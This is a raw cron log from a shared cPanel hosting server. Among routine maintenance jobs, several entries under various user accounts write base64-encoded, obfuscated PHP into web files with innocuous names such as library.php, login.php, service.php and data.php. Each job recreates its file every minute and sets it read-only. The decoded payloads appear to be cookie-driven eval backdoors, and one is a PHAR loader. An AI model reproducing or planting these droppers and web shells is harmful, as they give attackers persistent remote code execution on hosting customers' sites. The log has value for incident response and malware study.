Mar  2 07:05:02 medusa CROND[21371]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:05:02 medusa CROND[21366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:05:02 medusa CROND[21357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:05:02 medusa CROND[21340]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 07:06:01 medusa CROND[8612]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:06:01 medusa CROND[8747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:06:01 medusa CROND[8802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:06:01 medusa CROND[8803]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:06:01 medusa CROND[8804]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:06:01 medusa CROND[8805]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:06:01 medusa CROND[8812]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:06:01 medusa CROND[8813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:06:01 medusa CROND[8814]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:06:01 medusa CROND[8809]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:06:01 medusa CROND[8817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:06:01 medusa CROND[8822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:06:01 medusa CROND[8826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:06:01 medusa CROND[8837]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:06:01 medusa CROND[8840]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:07:01 medusa CROND[25890]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:07:02 medusa CROND[26106]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:07:02 medusa CROND[26108]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:07:02 medusa CROND[26111]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:07:02 medusa CROND[26113]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:07:02 medusa CROND[26115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:07:02 medusa CROND[26116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:07:02 medusa CROND[26122]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:07:02 medusa CROND[26123]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:07:02 medusa CROND[26125]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:07:02 medusa CROND[26107]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:07:02 medusa CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:08:01 medusa CROND[13072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:08:01 medusa CROND[13155]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 07:08:01 medusa CROND[13254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:08:01 medusa CROND[13255]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:08:01 medusa CROND[13258]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
